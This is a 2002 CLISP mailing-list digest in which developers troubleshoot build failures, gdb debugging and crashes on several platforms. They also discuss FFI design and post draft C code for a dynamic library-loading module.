> [error.d:304] cannot handle the fatal error due to a fatal error in the fatal error handler!
> Unknown software exception 0xc0000094 at 0x004f0534

CLISP is aborted.
This indicates "a problem _above_", in this case: you are loading
macros2.lisp before init.lisp.  CLISP cannot properly handle the break
loop when reploop.lisp is not loaded.


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On Wednesday 03 Apr 2002 4:06 pm, Nuzzo Art-CINT116 wrote:

> Now it will just hang there.  I'm not sure if it is from lisp.run or I did
> something wrong when I compiled gdb or it is waiting for me to do
> something.

The problem is that for some reason (I assume it is an error, I cannot 
believe it has any use) there is a .gdbinit file in the source directory. To 
make matters worse it is copied to the build directory also. If you have the 
time could you please try this:

(% is shell propmt, >> is gdb prompt)

% cd to wherever you are building, defaults to clisp-2.28/src
% rm .gdbinit
% gdb ./lisp.run
>> run -B . -N locale -Efile UTF-8 -norc -m 750KW -x "(load \"init.lisp\") 
(sys::%saveinitmem) (exit)"

And see if that crashes - it should drop to the debugger with SIGSEGV caught 
or something along those lines.

If so please try:

>> backtrace

Hopefully that should print something.

NB: It would be really nice if someone would remove that .gdbinit file, it 
makes it a lot harder to get good bug reports.
 


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> * In message <E16snGm-0004Mj-00.2002-04-03-17-05-58@cmailg7.svr.pol.co.uk>
> * On the subject of "Re: [clisp-list] Still Problems compiling on HP"
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> The problem is that for some reason (I assume it is an error, I cannot
> believe it has any use) there is a .gdbinit file in the source
> directory. To make matters worse it is copied to the build directory
> also.

this is intentional.
I use this to debug CLISP.
note that emacs comes with a much more extensive src/.gdbinit

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I removed the.gdbinit file and then ran the command:

artn@bs742> gdb ./lisp.run
GNU gdb 5.1
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "hppa2.0-hp-hpux10.20"...(no debugging symbols
found)...
(gdb) run -B . -N locale -Efile UTF-8 -norc -m 750KW -x "(load
\"init.lisp\") 
Starting program: /tmp_mnt/users/artn/clisp-2.28-CVS/src/./lisp.run -B . -N
locale -Efile UTF-8 -norc -m 750KW -x "(load \"init.lisp\")
(sys::%saveinitmem) (exit)"



But I never get a prompt back.  All I can do is kill it from another xterm.


Thanks for the help,


Art



> -----Original Message-----
> From: Will Newton [mailto:will@misconception.org.uk]
> Sent: Wednesday, April 03, 2002 9:58 AM
> To: clisp-list@lists.sourceforge.net
> Subject: Re: [clisp-list] Still Problems compiling on HP
> 
> 
> On Wednesday 03 Apr 2002 4:06 pm, Nuzzo Art-CINT116 wrote:
> 
> > Now it will just hang there.  I'm not sure if it is from 
> lisp.run or I did
> > something wrong when I compiled gdb or it is waiting for me to do
> > something.
> 
> The problem is that for some reason (I assume it is an error, 
> I cannot 
> believe it has any use) there is a .gdbinit file in the 
> source directory. To 
> make matters worse it is copied to the build directory also. 
> If you have the 
> time could you please try this:
> 
> (% is shell propmt, >> is gdb prompt)
> 
> % cd to wherever you are building, defaults to clisp-2.28/src
> % rm .gdbinit
> % gdb ./lisp.run
> >> run -B . -N locale -Efile UTF-8 -norc -m 750KW -x "(load 
> \"init.lisp\") 
> (sys::%saveinitmem) (exit)"
> 
> And see if that crashes - it should drop to the debugger with 
> SIGSEGV caught 
> or something along those lines.
> 
> If so please try:
> 
> >> backtrace
> 
> Hopefully that should print something.
> 
> NB: It would be really nice if someone would remove that 
> .gdbinit file, it 
> makes it a lot harder to get good bug reports.
>  
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On Wednesday 03 Apr 2002 5:52 pm, Sam Steingold wrote:

> this is intentional.
> I use this to debug CLISP.
> note that emacs comes with a much more extensive src/.gdbinit

It just throws out errors with my version of gdb.


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> * In message <E16spuk-0000A4-00.2002-04-03-19-55-22@mail7.svr.pol.co.uk>
> * On the subject of "Re: [clisp-list] Still Problems compiling on HP"
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> On Wednesday 03 Apr 2002 5:52 pm, Sam Steingold wrote:
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> > this is intentional.
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> It just throws out errors with my version of gdb.

what version?
what errors?

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On Wed, Apr 03, 2002 at 05:00:16PM +0200, Hoehle, Joerg-Cyril wrote:
> Hi,
> 
> could somebody please confirm the following on a different platform? CLISP-2.27 (win32 binary distribution) would not crash while my own MS-VC6-compiled CLISP-2.28 dies:
> 

I can confirm it on Gnu/Linux with Clisp-2.28:

Script started on Wed Apr  3 20:57:02 2002
/home/prw/Projects/clisp/DEBUG
bash-2.04$ ./base/lisp.run -B .

<banner cut>


WARNING: No initialization file specified.
Please try: ./base/lisp.run -M lispinit.mem

> (load "macros2.fas")

*** - COMMON-LISP:FUNCALL: the function REMOVE-OLD-DEFINITIONS is undefined
1. Break> [error.d:305] cannot handle the fatal error due to a fatal error in the fatal error handler!
Aborted (core dumped)
Script done on Wed Apr  3 20:58:06 2002


> 
> I'm investigating Peter's DEF-CALL-IN crash report...
> 

Thank you!

Regards,
Peter


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Hi,

On Wed, Apr 03, 2002 at 05:21:31PM +0200, Hoehle, Joerg-Cyril wrote:
> 
> DEF-CALL-IN is not at fault (cf. Peter Wood's bug report). It's the object initialization of modules which has a bug.
>

Why does it only break when the module has a def-call-in?
 
> A work-around is not to use an unknown package. Unknown means one which is not yet known in the .mem file that is being initialized from.
> 
> Thus, 2 possible work-around paths:
> 1. generate a new .mem, using
> (defpackage "TESTCI" (:use "FFI" "LISP"))
> (saveinitmem)
> then
> lisp.exe -M foo.mem
> (load "alpha.lisp")
> 

That works nicely, for now.  Thanks.

> The failure to handle unknown packages is strange since I can remember something about this issue when module functionality was added to CLISP around seven years ago.
> I haven't looked at the spvw*.d etc. CLISP code yet.

I compiled old clisp releases back to 1997 trying to find one that
worked with the example in impnotes.  None did.  
 
Regards,
Peter


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Hi,
 
Dan Stanger wrote:
>My goal is to parse the cygwin win32 api headers and
> produce ffi calls for them
I think you cannot generate ffi:DEF-CALL forms without knowing about :in/:out (i.e. parameter modes) for each function, i.e. how it is to be used.

BTW, what did the creators of linux.lisp do? hand-edit each function?

Have you gained confidence (e.g. tested) that CLISP can indeed call win32?
From what I read, this needs the "stdcall" (= seems to be name for Pascal stack order) calling convention of which Sam recently said it was not really implemented (however src/foreign.d doesn't mention any incompleteness). I heard that most other .dll use the regular C calling convention, so you may try them first.

BTW, a truly dynamic FFI will be coming -- but don't hold your breath.


>I assumed that
>one could refer to a pointer to void by c-ptr nil.

C void is void, but C void* is more a notation (to me) than a pointer to nothing.
(FFI:C-PTR NIL) will not make you happy, as this pointer cannot be read or set and CLISP won't let you pass or receive arguments for this. It's definitely not what you want.

Look at the Common Lisp type hierarchy. NIL is at bottom and T at the top. C probably didn't want to spend another keyword. void is clearly NIL, but void* is akin to T - for pointer types.

CLISP has a very precise means of specifying foreign types. On the downside, precision is in the way of genericity (e.g. write(void* buf, size_t len) -> ?). E.g., you cannot use (:arguments (buf C-POINTER) #) when you need a string...

Regards,
	Jorg Hohle.


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Sam Steingold wrote:
>are you sure this is necessary?  GNU Emacs does not have this special
>casing and it does work on win32.
Maybe compiling using gcc or cygwin? I don't have that there.

I'd like for somebody with more than the two hours experience of using MS-VC that I have (!) to comment on these portability issues.
I was really very pleased that compilation of CLISP went smooth, following win32msvc/INSTALL by the letter. Thanks to you all!

regex.c:
> + #ifdef _MSC_VER /* Microsoft VC */
> + #include <malloc.h>
> + #define alloca _alloca
>do I understand correctly that without this the MS regexp would use
>malloc/free instead of alloca?

Worse: If I remember what I did, linking lisp.exe complained about alloca being undefined -> no .exe. So I looked at how src/LISPBIBL.D declares it. Voila!

regexi.c (not part of GNU regex):
>   #include <sys/types.h> /* regex.h needs this */
> + #include <stdlib.h> /* declare malloc(), free() */
>   #include "regex.h"

If I remember correctly, size_t was not found.
Anyway, I think it's good practise to include system headers first.

Maybe one of these issues would disappear if I had compiled with -D STDC_HEADERS right from the beginning. I hope somebody else will confirm or deny these #define compatibility issues.

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	Jorg Hohle


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Hi,

this time, I'm using MS-Windows-98.

1. Break [13]> (socket-connect 6)
[Typing ^C]
*** - handle_fault error2 ! address = 0xFFFFFFFF not in [0x6697C860,0x669A0000)!
SIGSEGV cannot be cured. Fault address = 0xFFFFFFFF.

[Appears dialog "program has performed an illegal operation ... shut down."]

[a few seconds later:]
*** - Winsock error 10061 (ECONNREFUSED): Connection refused
2. Break [14]> 123
123
2. Break [14]>

A zombie!
This is the first time I see a program continue to do something after the crash report dialog has appeared. What's happening?

The details of the "illegal operation" dialog from MS-Windows:
LISP caused an invalid page fault in
module <unknown> at 00de:00000013.
Registers:
EAX=c0030938 CS=017f EIP=00000013 EFLGS=00010203
EBX=816e4b24 SS=0187 ESP=0160ff6c EBP=0160ff84
ECX=4cc36e81 DS=0187 ESI=816eee68 FS=38e7
EDX=816ec3ac ES=0187 EDI=00000000 GS=0000
Bytes at CS:EIP:
00 54 ff 00 f0 79 ea 00 f0 21 ea 00 f0 00 00 00 
Stack dump:
00000187 bffa2544 00000000 00000000 00000008 0160ff78 0160ffcc bffaff7d 00000000 0160ffcc 816eee8c 816ec34c bff88f20 00000000 816eee8c 00000008 


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I apologize if this has been asked before, but the clisp-list archive lacks
a search function.

I have been looking at SDL (Simple Directmedia Layer
http://www.libsdl.org/ ) and noticed that someone is building bindings to
the SDL library for LISP. SDL provides portable (Windows, Linux etc.) low
level access to a video framebuffer, audio output, mouse, and keyboard (and
TCP/IP sockets). Which is nice as you can get accelerated 3D graphics using
OpenGL out of the box.

The LISP bindings (CL-SDL, http://cl-sdl.sourceforge.net/ ) currently only
support CMUCL however there is talk by the developers on the CL-SDL mailing
list to change the code to support UFFI http://uffi.med-info.com/ , which in
turn supports Allegro, Lispworks and CMUCL.

So I was wondering if the developers of CLISP have looked into supporting
UFFI ?

-Luke



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Trying to build CLISP on MacOSX breaks in the avcall package because
the OSX asm syntax is different from that of other rs6000 systems.

Is there any way of telling CLISP not to use avcall?  I tried giving
configure the "--without-avcall" option.  Configure doesn't complain,
but it still tries to compile "avcall" and fails.  Would it even
run without avcall?

I'm also having a hard time just hacking CLISP.  When I "configure"
and "make" it, after it dies making itself in avcall, it doesn't notice
that anything went wrong, removes (!) the toplevel makefile, and tells
me to proceed to the second stage make process.  After that, the source
tree is in a mess: configure refuses to run again because bits
and pieces of the previous configuration are still around, and "make"
refuses to run because the top-level makefile is gone.  That can't be
how is it supposed to work; what am I missing?

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On Wednesday 03 Apr 2002 5:49 pm, Nuzzo Art-CINT116 wrote:

> But I never get a prompt back.  All I can do is kill it from another xterm.

Very strange. Unfortunately my only PA-RISC machine has Linux on it so I 
can't test this.



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Peter,

> I have tried stepping (si) through this with gdb

> 0x08051783      1492                    *object_ptr =3D=20
> stream_read(&STACK_0,NIL,NIL); # Objekt lesen
> (gdb)=20
> *** - The value of *TERMINAL-IO* was not a stream: #<CLOSED=20
> TERMINAL-STREAM>. It has been changed to #<IO=20
> TERMINAL-STREAM>.0x0805e1f6 in interpret_bytecode_=20
> (closure=3D0x2036fccd, codeptr=3D0x203357b8,=20
>     byteptr_in=3D0x203357ca=20
> "=C7P\nk\003*\024m\004\0010\005Q&\006\031i\001\002/\a\031\001N\0
> 01") at eval.d:7524
> 7524                finish_entry_frame_1(CATCH,returner, goto=20
> catch_return; );

Could you send me a backtrace of this point? I suspect it is within =
module_initialization, reading from module__xyz__object_tab_initdata[]
As far as I can remember, a string-input-stream is created for every =
element there, so as to create a Lisp object to be stored into =
module__xyz__object_tab[]. There, I suspect, the reader (stream_read) =
dies upon 'TESTCI::DECIDER.


>Why does it only break when the module has a def-call-in?
object_tab is not used by DEF-CALL-OUT or DEF-C-VAR.
object_tab can be used by hand-written modules.

The reader only dies when the package is unknown (or maybe locked, to =
be investigated).

Regards,
	J=F6rg H=F6hle.


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Hi,

Could somebody please shed light on the ability under UNIX to load a =
shared object which would require some new library to be linked against =
the whole Lisp binary in order to locate symbols referenced by that =
object?

E.g. suppose my executable doesn't use sockets, can I =
dlopen("mysock.so") which provides a layer around sockets but then =
obviously requires the system socket lib to be linked against my binary =
(e.g. libnsl or some such)?

It seems not possible according to the following text, since my =
executable initially was not linked against tons of libraries (e.g. =
libX, libsocket, libSSL, libLDAP, libKerberos etc.):


Dynamic Shared Objects (for Apache):
http://httpd.apache.org/docs/dso.html
"Or in other words, modules compiled as DSO files are restricted to
only use symbols from the Apache core, from the C library (libc) and
all other dynamic or static libraries used by the Apache core, or from
static library archives (libfoo.a) containing position independent
code. The only chances to use other code is to either make sure the
Apache core itself already contains a reference to it, loading the
code yourself via dlopen() or enabling the SHARED_CHAIN rule while
building Apache when your platform supports linking DSO files against
DSO libraries."

OTOH using CMUCL on SunOS and Solaris, we once did:
;/* Preprocessed Lisp file */
    (load-foreign (list "/cmp_ld/ipc_lisp.o")
      :libraries  (list "/cmp_ld/libknipcms.a")
#ifdef __GNUC__
			(concatenate (quote string) root "/cmp_ld/libgcc.a")
#endif
                        "-lc"))
but that was in foo.o + lib.a time, vs now programmers seem to favour =
foo.so + lib.so.1.x

The typical dlopen() interface doesn't feature an extra :libraries =
argument.

Thanks for your help,
	J=F6rg H=F6hle.


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Luke J Crook schrieb:
> So I was wondering if the developers of CLISP have looked into supporting
> UFFI ?

yes, currently joerg is doing that. there's a lot of work and even more a lot 
of design questions (of political nature) to solve. but thanksfully joerg has
free 
hands on this.

The UFFI needs some low-level c-side support for CLISP, 
and the dynamic CLISP FFI should also be doable. (truly a shame)

See the mailinglists uffi-devel@b9.com and uffi-users@b9.com
* http://www.b9.com/mailman/listinfo/uffi-users
* http://www.b9.com/mailman/listinfo/uffi-devel
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Hi,

Reini Urban wrote:
> and the dynamic CLISP FFI should also be doable. (truly a shame)
It could be here by the end of the day...

I'd appreciate comments upon two different wrappers around all siblings
of dlopen() functionality: sysdll.c and dynaload.c.
http://xarch.tu-graz.ac.at/autocad/lsp_tools/ntemacs/emodules/dynaload/

The goal is to know which of these two files best suits the many
platforms that CLISP already runs on.

Reini Urban's ffis.html says "Other OS's name this function dlopen
(Sun, BSD), dld_link (GNU, linux, ...), shl_load on HPUX, rld_load on
NEXT, or use different calls (ldopen, ... on AIX;
lib$find_image_symbol on VMS)".

So I figured out I'd rather use some tiny portability layer instead of
rewriting tons of #ifdef VAX|LINUX|AmigaOS|WIN32|BSD|SYSV|BEOS myself.

Reini Urban sent me these files. Thanks Reini!


My initial comments:

o sysdll.[ch] (William Perry) is usable as is, while dynaload.c (Steve
Kemp) contains Emacs code at the end.

o dynaload.c seems to support more platforms (mentions AIX, BEOS
etc.). I don't know if CLISP runs on all of these.

o sysdll.c provides empty default stubs. While this maybe fine for
XEmacs where they want the thing to compile, this is *not* acceptable
for CLISP. I don't want :DYNAMIC-FFI to be pushed on *features* when
the user will get "no dlopen" at run-time, although it could have been
known at CLISP compile-time that the functionality is not there for
this platform.  Removing the empty stubs would help generate a C
compiler error, but this would mean a different file from the original
one.

Reini's comment in http://xarch.tu-graz.ac.at/autocad/lisp/ffis.html
"the wheel was reinvented [...] (and IMHO worse) dynaloader."

Many comments appreciated.
	Jorg Hohle.


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Hi,

> > and the dynamic CLISP FFI should also be doable. (truly a shame)
> It could be here by the end of the day...

A preliminary version is done (in 6KB of code).

However, I'm hitting the module__inittab... bug reported by Peter Wood,
for module__dynload__subr_tab_initdata[] this time, and it doesn't
seem to be a package issue this time.


...\src\clisp-2.28\src>lispd.exe -M lispinit.mem
*** - The value of *TERMINAL-IO* was not a stream: #<CLOSED TERMINAL-STREAM>. It has been changed to #<IO TERMINAL-STREAM>.
+ crash about #xfffffff8

...\src\clisp-2.28\src>lispd.exe
WARNING: No initialization file specified.
Please try: lispd.exe -M lispinit.mem

> (ffi::foreign-library 1 2)
*** - FFI::FOREIGN-LIBRARY: argument 1 is not a string
1. Break> (ffi::foreign-library "zlib.dll")
#<FOREIGN-POINTER #x10000000>
1. Break> (setq fz *)
#<FOREIGN-POINTER #x10000000>
1. Break> (ffi::foreign-library "foo.dll")
*** - FOREIGN-LIBRARY: cannot open "foo.dll"
2. Break> :a
:A
2. Break> (ffi::resolve-foreign-name "compress" fz)
#<FOREIGN-ADDRESS #x100018F0>
2. Break> (setq fc *)
#<FOREIGN-ADDRESS #x100018F0>
2. Break> (ffi::resolve-foreign-name "bar" fz)
*** - FFI::RESOLVE-FOREIGN-NAME: cannot locate "bar" in foreign library
3. Break> ^Z
[error.d:304] cannot handle the fatal error due to a fatal error in the fatal error handler!

Hmm...
	Jorg Hohle


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> * In message <20020404032940.6942.qmail@web11904.mail.yahoo.com>
> * On the subject of "[clisp-list] problems building on MacOSX, and problems with the build process"
> * Sent on Wed, 3 Apr 2002 19:29:40 -0800 (PST)
> * Honorable Tom <tom7ca@yahoo.com> writes:
>
> Trying to build CLISP on MacOSX breaks in the avcall package because
> the OSX asm syntax is different from that of other rs6000 systems.
> 
> Is there any way of telling CLISP not to use avcall?  I tried giving
> configure the "--without-avcall" option.  Configure doesn't complain,
> but it still tries to compile "avcall" and fails.  Would it even
> run without avcall?

sure - no FFI.

$ ./configure --with-no-dynamic-ffi

> I'm also having a hard time just hacking CLISP.  When I "configure"
> and "make" it, after it dies making itself in avcall, it doesn't
> notice that anything went wrong, removes (!) the toplevel makefile,
> and tells me to proceed to the second stage make process.  After that,
> the source tree is in a mess: configure refuses to run again because
> bits and pieces of the previous configuration are still around, and
> "make" refuses to run because the top-level makefile is gone.  That
> can't be how is it supposed to work; what am I missing?

always build in a separate directory:

$ ./configure build-dir

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> * In message <DFD875E85664D3118FA6080006277DE70559FCBE@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] two interfaces to dynamic loading of libraries/objects"
> * Sent on Thu, 4 Apr 2002 15:56:22 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> So I figured out I'd rather use some tiny portability layer instead of
> rewriting tons of #ifdef VAX|LINUX|AmigaOS|WIN32|BSD|SYSV|BEOS myself.

IIUC, libltdl (part of GNU libtool) is exactly that:

This is GNU libltdl, a system independent dlopen wrapper for GNU libtool.

It supports the following dlopen interfaces:
* dlopen (Solaris, Linux and various BSD flavors)
* shl_load (HP-UX)
* LoadLibrary (Win16 and Win32)
* load_add_on (BeOS)
* GNU DLD (emulates dynamic linking for static libraries)
* libtool's dlpreopen


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> * In message <DFD875E85664D3118FA6080006277DE7052170AC@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] c-ptr nil vs c-pointer and cparse/SWIG -> FFI calls"
> * Sent on Wed, 3 Apr 2002 11:17:51 +0200
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> From what I read, this needs the "stdcall" (= seems to be name for
> Pascal stack order) calling convention of which Sam recently said it
> was not really implemented (however src/foreign.d doesn't mention any
> incompleteness). I heard that most other .dll use the regular C
> calling convention, so you may try them first.

Bruno said that stdcall is not used anymore and may be removed.
I decided against removing.

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I expect to use this, calling win32 functions from clisp using the ffi
interface, under cygwin.
BTW, can anyone shed any light on the use of e2d, ccmp2c and comment5?
I am still not sure which will be easier, to write a module to handle
the win32 gui or use ffi, and do everything in lisp.
I would appreciate any advice on this.  I plan to use cygwin for this
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Silly me,

withholding dynload.d because of the low-level error reporting bug shouldn't prevent you from trying to compile the files on the various platforms (Linux, Solaris, HP, Mac etc.).

So I'll be happy to receive feedback on:
1. how dynload.d and especially sysdll.c (from XEmacs) compiles on all CLISP systems.
2. the various comments in dynload.d

You have to get sysdll.[ch] from:
http://xarch.tu-graz.ac.at/autocad/lsp_tools/ntemacs/emodules/dynaload/

>and it doesn't seem to be a package issue this time.
It was. Damn' PACKAGE-LOCK. Of course, "*TERMINAL-IO* was not a stream" didn't help point at the right location :-(

Enjoy,
	Jorg Hohle
PS: don't forget to add
MODULE(dynload)
to modules.h and recompile lisp.{run,exe}

For MS-Windows, I had to add #include "windows.h" to sysdll.c
My makefile.msvc6: look at -D stuff
################################ Joerg's dynload+regexp playground
REGEXDYNMODOBJECTS = \
dynload.obj \
sysdll.obj \
..\modules\regexp\regexp.obj \
..\modules\regexp\regexi.obj \
..\modules\regexp\regex.obj

dynload.c : dynload.d # comment5.exe ansidecl.exe varbrace.exe
	$(COMMENT5) dynload.d | $(ANSIDECL) | $(VARBRACE) > dynload.c
dynload.obj : dynload.c sysdll.h # clisp.h
	$(CPP) $(CFLAGS) dynload.c > dynload.i.c
	$(CC) $(CFLAGS) -c dynload.i.c
	$(RM) dynload.obj
	$(MV) dynload.i.obj dynload.obj
	$(RM) dynload.i.c
# don't -DUNICODE sysdll.c via CFLAGS or you'll get LoadLibraryW(), not -A
sysdll.obj : sysdll.c sysdll.h
	$(CC) -DCONST=const -DHAVE_SHLIB -DWIN32 $(CFLAGS) -UUNICODE -c sysdll.c

lispd.exe : $(REGEXDYNMODOBJECTS) $(OBJECTS) modules.obj avcall.lib callback.lib iconv.lib sigsegv.lib data
	$(RM) lisp.ilk
	$(CC) $(CFLAGS) $(CLFLAGS) $(REGEXDYNMODOBJECTS) $(OBJECTS) modules.obj $(LIBS) /link /out:lispd.exe
	editbin /stack:3145728 lispd.exe


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=0A=
/* Notes=0A=
o SPVW.D:dynload_modules() uses dlopen(RTLD_NOW) while all other =
calls=0A=
  to dlopen() I've seen use RTLD_LAZY. Why?=0A=
o dynaload.c on WIN32 uses LoadLibraryExA(DLOPEN_MODE) instead of =
LoadLibraryA.=0A=
  What's the advantage?=0A=
=0A=
;;;  Comments about XEmacs' sysdll.c:=0A=
o dll_open doesn't pass through dl_open(flags), e.g. RTLD_LAZY=0A=
  That's what I planned the optional arguments to FOREIGN-LIBRARY =
for.=0A=
o error status is abysmal: "Generic shared library error", while =
CLISP=0A=
  provides extensive support for reporting (OS_errno, OS_error)=0A=
  TODO? rewrite and provide good error reporting=0A=
*/=0A=
=0A=
# Allocate a foreign address.=0A=
# make_faddress2(base,destination)=0A=
# > base: base address=0A=
# > destination: absolute, not relative to base=0A=
# < result: Lisp object=0A=
  local object make_faddress2 (object base, void* destination);=0A=
  local object make_faddress2(base,offset)=0A=
    var object base;=0A=
    var void* destination;=0A=
    {=0A=
      pushSTACK(base);=0A=
      var object result =3D allocate_faddress();=0A=
      # TODO ensure un-/signed arithmetic works=0A=
      TheFaddress(result)->fa_offset =3D (sintP)((uintP)destination - =
(uintP)Fpointer_value(STACK_0));=0A=
      # TODO require validating address or not??=0A=
      TheFaddress(result)->fa_base =3D popSTACK(); # base=0A=
      return result;=0A=
    }=0A=
=0A=
# TODO?? rename to REALLY-OPEN-LIBRARY or manage externally visible =
list=0A=
# *FOREIGN-LIBRARIES* of (name libptr . functions)=0A=
# a) allows closing upon exit=0A=
# b) allows graceful reopening when CLISP restarts=0A=
# c) provides interface via ffi::update-foreign-address to correct=0A=
# the addresses of all library functions in the new Lisp session.=0A=
# However I don't like the automatic opening at module =
initialization=0A=
# time that Bruno Haible added for AmigaOS =
(foreign.d:validate_fpointer)=0A=
# since i) the environmen may not be ready yet (getenv PATH, EXT:CD)=0A=
# and ii) some libraries have dynamic extent (e.g. =
bsdsocket.library)=0A=
# and may not be ready for opening when CLISP starts up.=0A=
# The programmer needs to control this.=0A=
=0A=
# (FFI::FOREIGN-LIBRARY name &optional flag)=0A=
# returns a foreign library specifier.=0A=
LISPFUN(foreign_library,1,1,norest,nokey,0,NIL)=0A=
  {=0A=
    var object name =3D STACK_1;=0A=
    if (!stringp(name)) # TODO? accept pathname=0A=
      fehler_string(name);=0A=
    # flag ignored for now=0A=
    # Pre-allocate room:=0A=
    pushSTACK(allocate_fpointer((void*)0));=0A=
    var void* libaddr;=0A=
=0A=
      with_string_0(name,O(pathname_encoding),libname, {=0A=
        begin_system_call();=0A=
#if defined(AMIGAOS)=0A=
        libaddr =3D OpenLibrary(libname,0);=0A=
#elif defined(WANT_SYSDLL)=0A=
        libaddr =3D dll_open(libname);=0A=
#else=0A=
#error "what dlopen implementation to use now?"=0A=
#endif=0A=
        end_system_call();=0A=
      });=0A=
      if (libaddr =3D=3D NULL) {=0A=
        pushSTACK(name);=0A=
        pushSTACK(TheSubr(subr_self)->name);=0A=
        fehler(error,GETTEXT("~: cannot open library ~"));=0A=
      }=0A=
      var object lib =3D popSTACK();=0A=
      TheFpointer(lib)->fp_pointer =3D libaddr;=0A=
      value1 =3D lib;=0A=
    mv_count=3D1; skipSTACK(2);=0A=
  }=0A=
=0A=
# TODO? &optional required for AMIGAOS, i.e. varying signature=0A=
# (FFI:RESOLVE-FOREIGN-NAME name lib &optional os-option)=0A=
LISPFUN(resolve_foreign_name,2,1,norest,nokey,0,NIL)=0A=
  {=0A=
    var object name =3D STACK_2;=0A=
    if (!stringp(name))=0A=
      fehler_string(name);=0A=
    STACK_2 =3D coerce_ss(STACK_2);=0A=
    if (!fpointerp(STACK_1)) { # TODO type error=0A=
      pushSTACK(STACK_1);=0A=
      pushSTACK(S(foreign_pointer));=0A=
      pushSTACK(TheSubr(subr_self)->name);=0A=
      fehler(error,GETTEXT("~: argument is not a ~: ~"));=0A=
    }=0A=
    var void* libhandle =3D Fpointer_value(STACK_1);=0A=
    var void* addr;=0A=
      # TODO? use misc_encoding=0A=
      with_string_0(name,O(foreign_encoding),symname, {=0A=
        begin_system_call();=0A=
#ifdef WANT_SYSDLL=0A=
        addr =3D dll_function(libhandle,symname);=0A=
#else=0A=
#error "what dlsym now?"=0A=
#endif=0A=
        end_system_call();=0A=
      });=0A=
    if (addr =3D=3D NULL) {=0A=
      pushSTACK(name);=0A=
      pushSTACK(TheSubr(subr_self)->name);=0A=
      fehler(error,GETTEXT("~: cannot locate ~ in foreign =
library"));=0A=
    }=0A=
  value1 =3D make_faddress2(STACK_1,addr); mv_count=3D1;=0A=
  skipSTACK(3);  =0A=
}=0A=
=0A=
# To become part of FOREIGN.D:=0A=
# (FFI:FOREIGN-ADDRESS-FUNCTION name address ctype)=0A=
LISPFUNN(foreign_address_function,3)=0A=
  {=0A=
    if (!stringp(STACK_2))=0A=
      fehler_string(STACK_2);=0A=
    STACK_2 =3D coerce_ss(STACK_2);=0A=
    if (!faddressp(STACK_1)) { # TODO type error=0A=
      pushSTACK(STACK_1);=0A=
      pushSTACK(S(foreign_address));=0A=
      pushSTACK(TheSubr(subr_self)->name);=0A=
      fehler(error,GETTEXT("~: argument is not a ~: ~"));=0A=
    }=0A=
    {=0A=
      var object fvd =3D STACK_0;=0A=
      if (!(simple_vector_p(fvd)=0A=
            && (Svector_length(fvd) =3D=3D 4)=0A=
            && eq(TheSvector(fvd)->data[0],S(c_function))=0A=
            && simple_vector_p(TheSvector(fvd)->data[2])=0A=
         ) ) {=0A=
        dynamic_bind(S(print_circle),T); # *PRINT-CIRCLE* an T =
binden=0A=
        pushSTACK(fvd);=0A=
        pushSTACK(TheSubr(subr_self)->name);=0A=
        fehler(error,GETTEXT("~: illegal foreign function type ~"));=0A=
      }=0A=
    }=0A=
    var object ffun =3D allocate_ffunction();=0A=
    var object fvd =3D STACK_0;=0A=
    TheFfunction(ffun)->ff_name =3D STACK_2;=0A=
    TheFfunction(ffun)->ff_address =3D STACK_1;=0A=
    TheFfunction(ffun)->ff_resulttype =3D TheSvector(fvd)->data[1];=0A=
    TheFfunction(ffun)->ff_argtypes =3D TheSvector(fvd)->data[2];=0A=
    TheFfunction(ffun)->ff_flags =3D TheSvector(fvd)->data[3];=0A=
    value1 =3D ffun; mv_count=3D1; skipSTACK(3);=0A=
  }=0A=
=0A=
# Joerg Hoehle's FFI hacks=0A=
void *clisp_ffi_indirector =3D NULL;=0A=
unsigned long int C_self(unsigned long obj)=0A=
{ return obj; }=0A=
=0A=
# Module structure=0A=
=0A=
uintC module__dynload__object_tab_size =3D 0;=0A=
object module__dynload__object_tab[1];=0A=
object_initdata module__dynload__object_tab_initdata[1];=0A=
=0A=
#undef LISPFUN=0A=
#define LISPFUN LISPFUN_F=0A=
#undef LISPSYM=0A=
#define LISPSYM(name,printname,package)  { package, printname },=0A=
=0A=
# TODO package "FFI" is locked in .mem, thus unusable=0A=
# I consider it a bug that low-level module code is hindered by =
PACKAGE-LOCK=0A=
#define ffi  "USER"=0A=
=0A=
#define subr_anz  3=0A=
=0A=
uintC module__dynload__subr_tab_size =3D subr_anz;=0A=
=0A=
subr_ module__dynload__subr_tab[subr_anz] =3D {=0A=
  # LISPFUNN(mark_foreign_invalid,1)=0A=
  LISPFUN(foreign_library,1,1,norest,nokey,0,NIL)=0A=
  LISPFUN(resolve_foreign_name,2,1,norest,nokey,0,NIL)=0A=
  LISPFUNN(foreign_address_function,3)=0A=
};=0A=
=0A=
subr_initdata module__dynload__subr_tab_initdata[subr_anz] =3D {=0A=
  # LISPSYM(mark_foreign,"SET-INVALID",ffi)=0A=
  LISPSYM(foreign_library,"FOREIGN-LIBRARY",ffi)=0A=
  LISPSYM(resolve_foreign_name,"RESOLVE-FOREIGN-NAME",ffi)=0A=
  LISPSYM(foreign_address_function,"FOREIGN-ADDRESS-FUNCTION",ffi)=0A=
};=0A=
=0A=
# called once when module is initialized, not called if found in .mem =
file=0A=
void module__dynload__init_function_1(module)=0A=
  var module_* module;=0A=
  {=0A=
    # TODO? (pushnew :DYNAMIC-FFI *features*)=0A=
  }=0A=
=0A=
# called for every session=0A=
void module__dynload__init_function_2(module)=0A=
  var module_* module;=0A=
  {=0A=
#ifdef WANT_SYSDLL=0A=
    # TODO dld needs char* executable_name -- local char* program_name =
in spvw.d=0A=
    dll_init(NULL);=0A=
#endif=0A=
  =
register_foreign_variable(&clisp_ffi_indirector,"clisp_ffi_indirector",0=
,sizeof(clisp_ffi_indirector));=0A=
  register_foreign_function(&C_self,"C_self",1024);=0A=
  }=0A=
=0A=
# If we had a module exit function, we could close all libraries=0A=
=0A=

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(in-package "USER")=0A=
;; module support currently broken, so all functions in package USER=0A=
;(load "dynex" :print t)=0A=
=0A=
(defvar *zlib-location*=0A=
  #+UNIX "libz.so"=0A=
  #+WIN32 "zlib.dll") ; "C:\\WinNT\\System32\\zlib.dll"=0A=
=0A=
